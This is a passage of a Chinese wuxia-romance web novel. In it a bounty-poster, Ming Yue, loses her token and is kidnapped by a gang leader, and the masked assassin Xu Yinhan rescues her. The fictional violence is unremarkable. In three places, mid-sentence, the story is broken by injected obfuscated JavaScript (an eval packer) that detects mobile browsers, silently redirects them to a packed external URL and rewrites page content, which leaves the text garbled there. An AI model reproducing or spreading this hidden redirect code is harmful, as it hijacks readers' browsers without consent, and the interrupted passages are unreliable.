她总感觉身后有一股冰寒的风,裹挟着她全身,让她由内而外的感到压抑和恐惧。 灵澈却毫无顾忌地看过去,少年冷淡站在一旁,看起来相当不好惹。 灵澈压低声音对明越附耳:“住持说了,阿姊身边这个人靠不住……” 正说着,那人一记眼神扫过来。 灵澈吓得肩膀一耸。 他不会听见了吧? 他轻咳两声,扬声道:“那现在就一起回去吧,住持说今日来客太多,让我接阿姊走侧门。” 明越眼睛一亮:“好!” 她牵起灵澈,回头向徐吟寒招了招手:“十一快来。” 她的举动都比方才更自然一点。 一行人从衍回寺的侧门进去,刚好到了他们所住的西院。 明越打着哈欠说困了要回去睡觉,再也没有看徐吟寒一眼,进屋吹灯一气呵成。 * 姜演焦急地在徐吟寒的寮房里来回踱步打转。 往常主上要杀个人也不过一刻钟的事,怎么这回已经一个时辰了还没回来! 肯定是因为身边带了个负累才这样的,这个悬赏主只会拖累主上,还是趁早摆脱了的好。 屋门吱呀作响,姜演飞扑过去,看见的却是主上满是血痕的手。 “主上你怎么受伤了?这这这……” 他急忙挽起徐吟寒的衣袖要看他伤口,入目是沁血的粉色布条与一个歪斜的结。 虽说不大好看,但能看出来绑得很认真。 姜演愣住:“主上……” 他记得主上之前也受过不少大小伤,但主上很少理会,通常都是他发现了才要给主上包扎。 这旧伤上次让寺里的老郎中包扎过,止血后主上就给卸了,这种奇怪的包扎姜演是第一次见。 徐吟寒三两下拆下手臂上的布条扔在桌案上:“他们来衍回寺干什么?” 姜演:“我正要跟您说呢,来的人一身布衣,但我认识他们的腰牌,是皇室的羽林卫。” “羽林卫是朝廷专门派来找寻明小姐的,他们到这儿来我认为绝对不是巧合,或许……” 他凑近,道,“咱们还真阴差阳错找对了方向,明小姐显然和衍回寺关系不浅……” 说着,他发现徐吟寒出神似的一直看着手间的茶杯,轻声:“主上?” 徐吟寒“嗯”了声,抿了口冷茶,“你继续。” “悬赏主既认识衍回寺的人,又知晓明小姐的事,我们可以旁敲侧击一番,诈出明小姐的藏身之处!” 这些日子,他们与这个古怪的悬赏主虚与委蛇,越来越觉得她的身份缥缈虚无。 他们甚至打听不到她的名字,只知道寺里的住持与沙弥都喊她“圆圆”,是个小字,也查不出什么。 贵月楼的规矩,不能过问悬赏主的过往来历,所以只能靠眉州那位递消息过来了。 徐吟寒放下茶杯:“他的消息多久能到?” 姜演估摸了下,信誓旦旦道:“最迟后日。” “后日,一切都会水落石出。” * 徵州城外,林虎捂着鲜血淋漓的伤口,跌跌撞撞跑向一处无字石碑后的破旧柴屋。 龙虎门的其余人对完启楼发生的事还浑然不知,听见脚步声都警惕地竖起耳朵。 一人上前开门查看,众人都屏息凝神做好了打架的准备。 两扇门被一把推开,伤口因推门力道太大又扯开,林虎痛得呲牙咧嘴,冷眼看着屋内的人:“是我。” “大哥?” “大哥怎么伤得这么重!” “其他兄弟们呢,都不送大哥回来吗?” “……” 众人围作一团,听林虎说完了来龙去脉。 “那小子竟如此可恶!” “可怜大哥和兄弟们……等咱们哪日再回徵州,一定要把那小子大卸八块!” 林虎咬牙切齿道:“哪日?老子等不了哪日了!” 一人道:“大哥是说……明天不走了?” 另一人道:“不走最好,给大哥报仇才是头等大事!” 众人义愤填膺,你一句我一句开始商讨如何报仇。 林虎紧攥着拳头,指甲刺入手心,割裂开月牙状的血肉。 “我们都听大哥的,大哥一句话,兄弟们就是上刀山下火海也义不容辞!” 林虎一拍桌子:“好!” “他千里迢迢来完启楼杀我,没得手又怎会善罢甘休!干脆来个瓮中捉鳖,在完启楼附近蹲伏一日,他一现身……” 肩头的血一滴一滴坠在他手背上,他眼神森冷,一字一句道,“死无全尸。” * 这晚,衍回寺平安无事,明越渐渐放下了心惊胆战,一觉睡到日上三竿。 她做了一个冗长的梦。 梦里的她还是个幼童,在无尘住持身边打转,和寺庙里的小沙弥一起堆雪人。 那是一个和现在一样寒冷的初冬,只不过那时的雪来得格外早。 明越喜欢雪,也喜欢衍回寺。 只不过堆得尽兴的时候,寺庙里闯进了两个看不清面容的少男少女,那一瞬天上下起了鹅毛大雪,遮住了身后追赶他们的人。 梦中的她挡在他们身前,眼中的世界变得雪白一片。 明越的记性不好,小时候发生的事她早已忘得一干二净,但她总觉得梦中的二人极为熟悉,极其重要。 就像是,在某一刻,改变过她的人生。 …… 窗外的阳光透进来,拂开明越面上的灰暗。 感受到这股得之不易的暖意,明越慢慢睁开眼,看清帐顶上缝绣的两颗舍利子。 住持说过,舍利子代表祈福与庇佑,可以治愈疾病,消除灾难。 她抬手靠近舍利子,指尖一点,隔空碰了碰。 心情稍微松快了些,明越一个鲤鱼打挺坐起身来,按照往常的习惯,下意识摸向腰间的锦囊与袖袋。 无尘住持给的银两还在,昨日吃剩的糖块也在,贵月楼的令牌…… 她浑身震动,僵硬着手再次掂了掂空荡荡的袖袋。 贵月楼的令牌呢? 她那么大一个令牌去哪了!? 明越将榻上摸索了个遍,又俯身看向漆黑的床底。 都没有,怎么会没有呢,她一直贴身带在身上的啊。 整个寮房都没找到令牌的踪迹,明越终于冷静下来,坐在塌沿回想昨日的事。 她昨日没拿出过令牌,只能是在哪不小心掉出去了。 在哪呢…… 想到什么后,明越心口一紧。 不会是她从房檐上跌下去的时候吧? 但转念一想,还真有这种可能,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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明越听着,心里顿时有了主意。 …… 从昨夜十一带她走过的路走,就能悄悄摸进完启楼的后院,果不其然,明越在墙角发现了一个矮小的洞。 她来之前在马车上提前换下了显目的氅衣,寺里僧人的常服与这里工匠的打扮相差无几,她拿着库房里一摞高大的砖瓦挡住面容,混在其余工匠里上到二楼。 漫天的烟灰如雾,呛得她直想咳嗽,但为了不暴露声音,憋红脸也得忍着。 上一批工匠商量着要去吃午饭,等他们一走,二楼就只剩下几个洒扫的小厮。 几个彪壮大汗有说有笑朝明越走来,明越抱着一怀的砖块,低着头与他们擦肩而过。 …… 林虎无意间扫过那瘦弱细小的肩膀,目光在抱砖走过的工匠身上多停留了几秒。 这里的工匠哪个不是五大三粗,居然还有比女子还纤瘦的男子。 身旁人跟着他停下脚步,问:“大哥,怎么了吗?” 他们要想时刻盯着完启楼内的动静,只能化作前来修缮屋檐的木工,可惜做了一上午苦力活,也没见着那小子的人影。 林虎眯着眼睛看那人在隔间外左顾右盼,找了个角落放下砖块,拍了拍手上的灰,一溜烟钻进了隔间里。 什么男子,那分明就是个女子,而且还有些眼熟。 “方才在里面找到的东西在哪?” 身旁的男子递上来一个绯色令牌,道:“大哥不是说这个是贵月楼的东西吗,我就给收起来了。” 林虎拿着令牌仔细端详。 他只知道这是贵月楼的令牌,但因为这个通常在悬赏主手中,他也不知晓其中有何奥秘。 中间一轮血红的弦月,都与其他令牌无异…… 他的指腹擦过一道裂痕下的细小的凸起。 拾壹。 他忽然咧开嘴笑起来,阴沉的视线落在隔间外那堆散落的砖块上。 “原来这个臭娘们就是他的悬赏主。” 他沉声呢喃,令牌被他紧攥在手,几欲迸裂。 “给我抓住她。” 15. 缚雪 明日就该启程继续赶往眉州,衍回寺准备了上等的马车,连同他们买的两匹骏马一起送他们出城。 姜演本来不该在衍回寺逗留太久,但变故横生,横竖也是在眉州会面,他便跟着明越与徐吟寒同去。 打点好路上要用的东西后,姜演坐在院子的凉亭里,百无聊赖地望着天发呆。 从晌午一直坐到傍晚,院子里偶尔有小沙弥走来走去,除此之外寂静到像是荒山野岭。 他倒是有点想念那个叽叽喳喳的悬赏主了,虽然人是麻烦了点,但好过这么无聊的过一天。 今晚是满月,月亮藏在层层叠叠的乌云的后,镶嵌在苍蓝的天上。 许久没有人声,姜演实在按耐不住,大着胆子敲响了徐吟寒的屋门。 但回应却在他身后响起:“怎么了?” 徐吟寒刚从廊庑间走出,手中提着一柄长剑。 姜演一拍脑袋。他差点忘了,以前在黄耆古寨时主上就有个习惯,每日戌时必要练半个时辰的剑。 主上方才应该是去衍回寺附近的树林练剑了。 徐吟寒走近,抬手将剑扔给姜演。 “没什么事,主上,明日启程要带的东西我都拿好了。” 姜演接住长剑,抱在怀里,“就是不知道悬赏主准备好了没有,要不咱们去问问?” “……” 徐吟寒在门外的盥洗盆中洗手,闻言睨他一眼,“实在闲得发慌,就去外面接悬赏。” 姜演意识到话里的问题,立马摆手道:“不不不,我的意思是,悬赏主一天都没来打扰您,实在难得,我高兴还来不及呢!” “这种吵闹又无聊的人,见得越少越好,对,越少越好!” 说罢,姜演打量了下徐吟寒的神情,还是一如既往的冷淡,他才放下了心。 这个悬赏主天天对主上呼来喝去的,主上能喜欢才怪,他以后也一定要与主上同仇敌忾才是! 决心下了不到一柱香的时间,自己出门消遣的姜演又折返回来,连门都来不及敲,慌慌张张推门道:“主上,大事不好了!” 徐吟寒此时还在桌边拆明越系在他刀柄上的剑穗。 不知道是怎么系的,像是无数个死结打在了一起,他怎么都解不开。 正想用另一把刀割断时,姜演一把撞开门,一边说着“大事不妙大事不妙”,一边颤抖着手将一支利箭递给徐吟寒。 箭头上还钉着一张皱皱巴巴的白宣。 “我听寺里的车夫说,他晌午驾车带悬赏主去徵州城玩,谁知等了两个时辰悬赏主都没回来,他去城里找了一圈都没看见人,再回来就发现马车上有这个。” 白宣上的字歪歪扭扭,徐吟寒不过看了一眼,就辨认出了字的主人。 当时他威逼林虎签下转令函的时候,见过这样的字。 “怎么办怎么办怎么办……” 姜演急得来回打转,“上面说您若是不去救悬赏主,龙虎门就会揭穿……” 他一顿:“龙虎门?” 他诧异问:“主上您不是已经把林虎杀了吗?龙虎门没了一把手,今日应该早就出徵州了,怎么还会抓走悬赏主?” 徐吟寒向后往椅背上一靠,抬手松了松衣襟。 姜演瞬间就猜出了什么。 怪不得主上昨夜回来后脸色极差,可能就是被悬赏主拖累了,没能杀掉林虎,反而被龙虎门当成了眼中钉。 姜演:“那……主上您要去救吗?” 若是救,白白与龙虎门纠缠一番,还可能暴露身份,百害无一利。 若是不救,也就是拿不到悬赏金。 但……但那毕竟是一条人命啊! 姜演使劲在心里权衡着,再回过神来,他茫然环顾四周,屋内只剩冷寂的烛光。 桌上的短刀与徐吟寒,都已消失不见。 * 火折子擦亮,照亮了岩洞石壁上密密麻麻冷凝的水露。 水露顺着石壁上蜿蜒的沟壑滴落,砸在紧靠石壁躺在地上的少女脸上。 少女眉眼紧闭,饶是冰凉的水珠划过她眼角,她也未曾皱眉。 “你下手这么狠?都半个时辰了她怎么还没醒?” 林虎蹲下身去,端详着昏迷的明越。 身边高瘦的男子道:“我想着万一一手刀劈不晕会打草惊蛇,就……再过一会儿应该就能醒,大哥不用着急。” 林虎吹灭火折子,转身走出岩洞。 “让兄弟们看住上山的路,一有风声就传信给我,那小子肯定会来的。” “是。” …… 脚步愈来愈远,周边重归死寂无声,明越小心翼翼睁开眼。 岩洞里是伸手不见五指的黑,阴暗潮湿的霉气扑面而来,明越难耐地捂紧口鼻,紧靠着岩壁摸黑站起身来。 脊背与脖颈都传来阵阵钻心刺骨的痛,明越没忍住嘶声连连。 她之前还在完启楼翻箱倒柜地找她的令牌,没注意身后脚步声渐近,脖颈一疼便晕了过去。 方才她其实已经迷迷糊糊地醒了,但那帮掳走她的人还在旁边,她只能先装晕,等时机成熟再想办法逃。 但听到那两人说,上山的路都有人看着,明越的心顿时凉了半截。 早知道就算被十一怀疑她也要带上他了。 岩洞内部似乎是弯曲崎岖的,她走了一段路,分不清宽窄,也不知道自己走的方向对不对。 她索性再走回去,等脚边踢到她方才用来留记号的石块后,她抬眼,空洞地望着死气沉沉的黑幕。 她也不是一开始就有夜盲症的。 无尘住持说,她从小就贪玩,六岁的时候和寺庙里的小沙弥一起爬树摘果子,刚爬了一半,没抓稳“扑通”一下摔在地上,脑袋上鼓起了一个大肿包,血瘀影响了她的眼睛。 她也不喜欢这种,被黑暗吞没殆尽的感觉。 * 高瘦男子是龙虎门的二把手,和林虎是拜把子兄弟,虽然不喜欢林虎追随八方幕这股任劳任怨的劲儿,但林虎说的话他不敢不听。 他们在徵州暂时的驻扎地是衍回寺的后山,山脚下嚣张地立着石碑,指明去往“龙虎门”的上山之路。 这一点,他们在给徐吟寒的信上写得清清楚楚。 上山之路蜿蜒陡峭,奇山异石众多,正适合埋伏不知情的人。 他拿着火把,循着石子路走到石门,咳嗽两声。 “大哥说了,甭给那小子任何还手的机会,逮到直接杀了就是。事办好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040529|162502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那娘们就赏给兄弟们玩!” 良久,二把手没得到应有的回应。 “兄弟们?” 他重复了遍适才说的话,林中依旧寂静无声。 他记得几个人躲藏的位置,刚倾身看过去,火光照见渗入泥地里的深红血迹。 石头后,一滩鲜血汇流而下,浸透一具张牙舞爪的尸首,死状可怖。 他吓得后退几步,后背撞上一棵树,吱哇乱叫起来。 “她在哪里?” 蓦然一道冷冽的声音从身后传来,二把手又一跳,举起火把颤颤照过去。 银白面具,黑衣双刀,高挑清瘦…… 没错了,这就是林虎要杀的那个人! 火光映在少年的黑眸中,烧红了他眼下一道凌厉的新鲜血痕。 “我、我不知道你在说什么……” 二把手连连后退,却不慎被脚下的尸首绊倒,一屁股坐在尸首上。 尸首尚有余温,他连滚带爬地逃窜,靠在树干上想要借力站起,但腿软无力,屡屡跌倒在地。 少年不紧不慢走近,居高临下看他,声线又淡了几分:“我的刀上有毒,你沾染了中毒之人的血,已是死到临头。” 二把手双眼震动,颤颤巍巍抬起那只湿漉漉的手。 他抬头看向少年,见他稍稍歪头,唇边勾起一抹笑:“但我这里还有条活路。” “少……少侠饶命,少侠饶命啊!” 二把手立刻丢下手中的火把,朝少年的方向跪地膝行过去,鬼哭狼嚎。 “若是少侠肯饶了我这条狗命,我必带领龙虎门为少侠鞠躬尽瘁,效忠少侠至死!” 徐吟寒把玩了下手里的短刀,用足尖踢开他的手。 “无须你效忠,你只需告诉我——” 冰凉的刃面闪过,晃过一片惊骇的血色,他沉声继续,“她在哪?” 二把手连连点头:“我说,我说!” “少侠要找的姑娘就在这片树林后一里外的寒潭岩洞里,我大哥……林虎就守在附近,但只要少侠一声令下,我可以去引开林虎,少侠趁机救人……” “那就不必了。” 徐吟寒蹲下身,将血迹淋漓的刀刃在二把手的衣裳上擦拭干净,收刀入鞘。 二把手一动不敢动,等少年重新站起,他才道:“少侠的要求我已经满足,那少侠给的活路……” 话音未落,徐吟寒从腰间的锦囊里拿出一颗棕色药丸扔给他。 他像宝贝一样捧在手心里,迫不及待仰头吞下。 药丸入喉,二把手才感到些许心安,跟在少年身后起身。 毒也解了,弱也示了,如今这人对他放松了警惕,没了威胁。 但林虎手段狠辣,他这样轻易出卖他,难免不会遭到他的报复。 不如……趁这人不注意,拿他的人头回去向林虎赔罪…… “对了。” 少年突然回过头来,二把手一愣,懵懵看他。 “我刚刚是骗你的。” 还没反应过来少年话中的意思,二把手忽然呼吸一滞,双手掐紧脖颈,仰面跪倒下去。 “我的刀上没毒。” “我给你的,才是令人肝胆俱裂、五脏俱焚的毒药。” 16. 缚雪 不知又在岩洞里站了多久,迎面吹来一阵刺骨的风,点点冰凉融化在明越温热的脸颊上。 明越朝黑暗中伸出手掌,感受着那些小东西打在她的手心,又柔软的与她依偎。 下雪了? 明越收回手,用指尖捻化落在她手心的绒绒雪粒。 与此同时,她再向远处看时,似乎能看到落雪如星,在漆黑的夜幕中洋洋洒洒地飘荡着。 她喜欢白,也喜欢雪,这样她什么都看得见。 明越迎着雪往外走,终于见到了岩壁外重重叠叠的山林,与漫天大雪。 这是今年的第一场雪。 明越用力嗅了嗅雪粒的味道,打起精神来找寻逃走的路。 她很少会走这样崎岖的山路,每走一步都像踩在刀尖上,不知下一步会不会跌进万丈深渊。 她决定给自己打气。 “等下了山就能见到十一,见到十一我就安全了,以后我都不会抛下十一了。” “我要永远,永永远远,永远永远和十一在一起,这样我就会永远,永永远远,永远永远安全……” 她不停地重复念叨着这两句话,看着脚下的路,稳扎稳打走了许久。 走到双腿发软,明越还是没敢停下,忽而视线里蔓进一团光,摇摇晃晃攀上她的足尖。 她愣怔抬眼。少年满肩是雪,手里的火把猎猎燃烧,映出他低垂长睫下闪动的阴翳。 “要永远跟我在一起?” 他听见她嘴里呢喃的前半句,哂笑,“那你真是痴心妄想。” 明越却依旧呆呆地看着他,使劲揉了揉眼睛,继续盯着他看。 她眼眶泛起了红,不可置信问:“你是十一?” 徐吟寒:“?” 摇曳的火光向明越靠近,照亮她通红的脸颊与鼻尖。 “十一!” 明越终于笑了出来,眉眼弯弯走到他身边。 “你竟然来救我了!” …… 寂静山林中,徐吟寒举着火把走在前面,明越紧紧跟着他的步伐,不由哼起了曲乐。 明越从小长在徵州,最是熟悉徵州传唱的曲谱民谣。她的声音像冬夜的雪,轻飘飘浮在空气里。 哼了会儿,她扯了扯徐吟寒的衣褶:“这山上怎么都没人了,匪徒呢?会不会突然冒出来?” “不会。” 要真突然冒出来,那得是诈尸级别的恐怖。 明越“哦”了声,又道:“我觉得不是痴心妄想。” 徐吟寒好一会儿才反应过来她说的是什么:“……你还想怎么样?” “因为我们现在就在一起啊,”她快步跟在徐吟寒身旁,歪头看他,“起码现在不是。” “……” 徐吟寒偏开头,看向一望无际的山林。 “十一,你也叫我‘圆圆’吧,我的小字。” 她喋喋不休,“这可是只有我允许过才能叫的,你救了我这么多回,我就当你是……” “你是怎么被他们抓住的?” 明越的后半句被蓦然打断,她愕然顿住,收回目光。 她怎么就忘了这件要命的事了! 但徐吟寒还是发现了端倪,他停下脚步,用火光让她的慌乱一览无余。 “……我说了,你能不生气吗?” “?” 这事还和他有关系? 徐吟寒懒得理会她,抬了抬下颌示意她说。 “你的悬赏金……”她这几个字几乎是从牙缝里挤出来的,“可能要化为泡影了。” “……?” …… 等明越眼泪汪汪讲完来龙去脉,徐吟寒总算知道,为什么林虎不露面阻止他们离开了。 林虎手里掌握的是他辛苦这么多日的该得的钱银,他敢肯定他会主动来找自己。 明越一抽一噎地攥紧他衣袖:“你……你不会怪我吧?” “……” “再怎么说我也是为了救你才跌下屋檐的,也是为了找令牌才被他们抓走的……” 徐吟寒低眼瞥见那几根白皙纤细的手指,抬手一根一根掰了下去。 “不怪你……”话到嘴边,不知怎么就拐了个弯,“还能怪谁?” 明越识趣地不再拉扯他,嘴上还在嘟囔:“反正我……我已经尽力了。” 徐吟寒没理她,绕开她往来时的方向走。 明越急忙跟上:“怎么了,不下山了吗?” 徐吟寒:“要是找不到令牌,你就住在山上。” 明越没听懂,怔然问:“那你跟我一起吗?” “……” 她低下头看她脏兮兮的裙摆:“你不跟我一起的话,我就不住了。” 听着这几句离谱至极的话,徐吟寒才意识到,明越可能根本就不知道掳走她的人是谁,为什么掳走她。 回到了明越好不容易才逃出来的岩洞里,他们直走到岩洞最深处,发现了一口深潭,并无林虎的身影。 徐吟寒想去其他地方再找找,却见明越抱膝蹲坐在地上,可怜兮兮看他:“十一,我走不动了。” 这山路往返走了个来回,她是真的撑不住了。 徐吟寒将火把挂在岩洞嶙峋的石壁上,“那你在这儿等着。” 火光徐徐照亮明越身边这一隅之地,而少年转身遁入黑暗。 “十一。” 明越喊住他,犹豫了下还是道,“那边太黑了,你还是拿着火把去比较好。” “不需要。” 再一转眼,他的人和声音都消失得无影无踪。 * 林虎去林中上个茅厕的功夫,便听到上山路旁连天的惨叫声,他知道那应该是徐吟寒来了。 他见过这人的手段,他这些龙虎门的兄弟就算全部杀出也不能伤他分毫,他这样只是为了拖延点时间。 兵器取不了他性命,那毒总可以吧? 这人绝对不会猜到,他早已将毒下在了给他传信的那半截箭矢上。此毒剧烈万分,两个时辰后就会发作,中毒者短短数息内便会咽气。 只有这样,才能报他心头之恨。 至于那些所谓的兄弟们,林虎听到二把手说的话,才真正明白什么叫吃里扒外。 既然如此,那就都互相利用,干个你死我活最好! 林虎早在之前就已经把令牌藏进了岩洞的深潭里,今晚他就会带着其余的兄弟们离开徵州。 一切都水到渠成,林虎高高兴兴走另外一条好走的山路下山,谁知这雪愈下愈大,他们连路都快要看不清。 忽然,厚重的雪幕被一道凌厉剑风破开,雪粒缭乱迷眼,林虎抬手打住身后慌张四顾的人,见前方现出一人来。 大风扬起,雪粒盘旋在空中,层层描摹出那人的身形。 林虎瞬间震惊地瞪大了眼。 * 明越不记得自己是什么时候睡着的,只记得睡着前,她还迷迷糊糊盯着洞口的方向,在等十一回来。 后来火把熄灭,她眼前漆黑一片,便也不知不觉入了梦中。 再有意识时,她做的第一件事就是用力抱紧自己,嘴里不停念叨着“好冷”。 现下正逢初冬,还下了雪,她又是在山上常年照不进太阳的岩洞里,冻得她嘴唇青紫,浑身僵硬。 而她望着洞外狭窄的天光,还没看到十一回来。 明越撑着墙站起身,往岩洞深处走去。 昨夜见到岩洞深处的潭水清澈如明镜,她得去照照镜子,整理一下她折腾了整夜凌乱的鬓发。 没想到刚拐了个浅弯,她看见了个被五花大绑的彪壮大汉正坐在潭水边,把她瞌睡都吓了个精光。 “你是谁?” 林虎冷笑一声:“你会不知道我是谁?” “那狗东西还真是尽职尽责。” “没想到啊,刀剑杀不了他,剧毒都毒不死他,还真是命硬的很。” 明越不满他言语的粗鄙,蹙眉:“你叫谁狗东西呢?” “还能有谁?就是你身边那个……”想到什么,林虎顿了顿,装模作样叹了口气,“要我说你这个悬赏主,到现在还被蒙在鼓里,太可怜了。” 这人竟然知道她与十一的关系? 明越警惕道:“你究竟是什么人,胡说八道什么呢?” 林虎笑:“我本该是接下你悬赏令的人,是那个狗东西偏要横抢,我不得已才让给他。” “他不仅以性命要挟,要我让出悬赏令,还杀害我同门兄弟,要我做一条忠心耿耿的狗。” 他目眦欲裂,嗓音沙哑地控诉,“这样的人,你还允许他留在你身边,当真是愚蠢至极!” 明越一时被他喝住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他本意是想杀了林虎作罢,但无奈很多人都要冲上来送死。 林虎身后的人显然已经没了昨日的威风,只不过碍于林虎不敢多言而已。 他垂眼思量着什么时,想起了他腰间那封还没来得及看的信。 而林虎在怒骂他期间已经让身后的兄弟帮他割开了身上的绳子,他转了转手腕,缓缓提刀起身,“既然你不肯动手……” 他一刀劈向徐吟寒。 “那就让我们同归于尽!” …… 明越就在旁边看着徐吟寒带林虎出了岩洞,不知道往哪个方向去,而她的心跳从刚才和林虎说话开始,就一直急促地跳动着。 林虎的声音就像还在她耳畔震动般,扰乱她所有思绪。 明越没听徐吟寒的话等他回来,而是走进了漫天大雪中,循着几人的脚印走过去,刚好看到徐吟寒站在一群跪地的大汉前,其中就有方才与她说话的那个人。 “真正的十一早已被我埋骨焚尸,是他顶替十一的身份,混入贵月楼,抢下你的万金悬赏!” “一个连来历都不清不白的杀手,你也敢让他为你执令,让他藏起自己所有的肮脏污秽,在你身边肆意妄为!” “你的令牌就在这口深潭里,我已是将死之人,我的话你能信几分就信几分,我不强求。” “但是那个杀千刀的祸害,早晚死无葬身之地!” …… 明越躲在树后,望着白雪皑皑的树林,和徐吟寒立于雪中的身影,出了神。 若真如林虎所说,他不是真正的十一,那他到底是谁? 正想着,她瞥见那边林虎突然跳窜起来,持刀砍向徐吟寒。 她不由心口一紧,下意识要冲过去。 而此时的徐吟寒不知为何,反应比平常慢了一拍,虽然也侧身躲过了致命伤,但他脸上的半副银白面具顷刻碎裂—— 雾蒙蒙的雪模糊着他的面容,簌簌落入他束起的黑发。 似是察觉到明越的存在。 遥遥雪幕中,少年侧身望过来一眼,玄目明剑,寒风猎猎。 17. 缚雪 深夜,七八盏油灯聚在一张书案上,明亮如昼。 姜演捧着一张被鲜血浸透的白宣,在灯光下用力睁大眼睛凑近一行乌黑模糊的字迹。 他紧绷着背,整个上半身都一动不动压在书案上。 徐吟寒抱臂倚在窗前,懒懒看着窗外纷飞的大雪。 腰间短刀上挂着的圆形剑穗,也随风轻轻摇晃着。 不知又过了多久,姜演的背终于支撑不住,脱力往书案上一摊。 “主上……”他欲哭无泪地看向徐吟寒,“我是真的看不清了……” 那林虎死就死了,血还飙那么高,把好不容易从眉州打听来的消息都给糟蹋了。 现在好了,只能等明日启程到达眉州后亲自去问那位了。 “但是其实咱们也不是全无收获。” 姜演慢慢爬起来,“起码悬赏主从林虎嘴里套出了令牌的下落,也不算功亏一篑。” “没想到她看着柔柔弱弱的,还挺有用。” 簌簌细雪从窗外飞进来,落在徐吟寒的衣袖上。 他抬手拂去,垂着眼道:“行了,你回去吧。” 好不容易等到主上松口,不用再看这该死的信,姜演一下子从椅子上蹦起来,提起多余的油灯就朝门口去。 “那主上早些安睡,明日我来接主上启程!” 他满面春风的打开门,本以为迎接他的是自由的风,没想到一个裹得严严实实的少女挡住了他的去路。 明越正要敲门的手顿在了空中,抬眼看着错愕的姜演,又看向他身后的徐吟寒。 姜演顿时就明白了明越的来意,很有眼力见地对明越做了个“请”的手势,再小心翼翼从她身边的缝隙里挤出去。 这里很快只剩明越与徐吟寒二人。 明越小声喊了句“十一”,一只脚即将迈进门槛,想了想又收了回去。 她就站在门口,与徐吟寒隔着数尺之远,露出的一双圆眼少见地添了几分怯色。 徐吟寒微抬下颌:“有事直说。” 明越咬了咬唇,从袖袋里取出一个东西递上前。 “今日我仔细想了想,还是暂时不打算去眉州了,我也不能让你一直等我。” 令牌静静躺在她手心,似还带着潭水的凉意,“反正悬赏令只要悬赏主说完成就是完成,你直接拿着令牌回贵月楼拿赏金吧。” 她说话时一直低着眼,身形僵直,只有兜帽下垂落的几缕黑发在轻晃。 “指定的信物的话,其实我没有指定信物,我当时和掌柜说的是,只要你平安回去,就算信物。” 她轻轻蹲下身,将令牌放在地板上。 “你也不用觉得你占到什么便宜,这段时间发生的事太多,你还为我受了伤……总之,”她掀起眼,冲徐吟寒笑了笑,“我们好聚好散,十……” 她忽然停住,别开了眼,“时间不早了,我先回房了。” 说罢,她转身离开,还好心帮他带上了门。 四面陡然陷入一阵奇异的冷寂。 徐吟寒看着地上那个孤零零的令牌,面不改色。 姜演方才并未走远,而是在转角处蹲着听完了明越的话。 等那道身影回了房后,他蹑手蹑脚走回来,从门缝中探了个头。 “主上,听悬赏主这意思,您这就算是完成了任务,马上就能拿到大笔赏金了!?” 他语气里有抑制不住的兴奋,毕竟少有悬赏主会如此好心。 姜演捡起地上的令牌,宝贝似的捧在手心:“那咱们明日直接回临安,拿了赏金再去明府附近打探打探消息,顺便还能和其他兄弟们会和。” 良久,空气中响起一声冷淡的“嗯”。 * 明越回屋后第一件事就是关好门窗,只在床榻边留了盏烛台。 她平复好心情,就呆呆地坐在塌沿,望着闪烁的烛光发呆。 方才是她第二回看见徐吟寒的真容。 没了半副面具的遮挡,他的五官看起来更加干净清隽,那双眼淡漠如满含霜雪,她不自觉就会被他的视线俘获,为他缴械。 或许是因为这场大雪。 面具裂成两半掉在雪地里时,她看见漫天雪粒都在替他遮掩。 后来无论是在下山的路上,还是回衍回寺后,她都没勇气再直视他一眼。 深思熟虑一天,她才鼓足勇气主动去找他。 她想,无论他的真实身份是什么,他这样做有什么目的,他终究称得上尽职尽责,这样做才是最好的结果。 …… 明越不知道自己是什么时候睡着的,第二天一睁眼,她还没睡醒,就听见灵澈在敲她的门。 她披了外裳去开,灵澈喜笑颜开道:“圆圆阿姊,刚才我看到那两个男子走了。” 明越打着的哈欠一顿,困意瞬间散了七八分。 “既然他们走了,那圆圆阿姊就再待几天再走吧,”灵澈牵起她的手,指了指院子里厚厚的一层雪,“我们快来堆雪人吧!” 雪还在下,放眼望去尽是一片白茫茫。 明越笑着摇了摇头,轻声道:“阿姊今日也得走了。” 羽林卫已经找来了衍回寺,她确实待不下去了。况且她去眉州还有更重要的事。 明越收拾好包袱,准备随便在衍回寺的马厩里挑匹马走,又被无尘住持叫了过去。 然而她刚一进门,就听到一个熟悉的沙哑嗓音:“小女娃,好久不见哪!” 明越一惊,看到屋内明明只有无尘住持,她左顾右盼找着声音的来处,门后走出一个花白胡子的老伯。 明越一眼便认出了他腰间那个绣着金丝线的小荷包。 她惊愕不已:“你……”又看了眼笑眯眯的无尘住持,迟钝地反应着,“你们……” “你以为我是怎么知道你的事的?” 无尘住持笑了几声,指着老伯道:“这是你常伯伯,是我让他去寻你的。他也是运气好,你自己就找上了门来。” 明越记得她在临安时与常伯伯的初遇。 那时她饿得头昏眼花,又不敢在这个节骨眼上明目张胆去买吃食,在一条僻静的小巷里遇到一个脏兮兮的老伯,手里拿着一包热气腾腾的白面馒头。 于是她就想重金买下这几个白面馒头,可老伯非但不肯,还骂她“年纪轻轻就想跟乞丐抢吃的”。 明越好说歹说,老伯才给她分了半个,还要了她整整五两银子。 …… “怎么,又开始心疼你那银子了?” 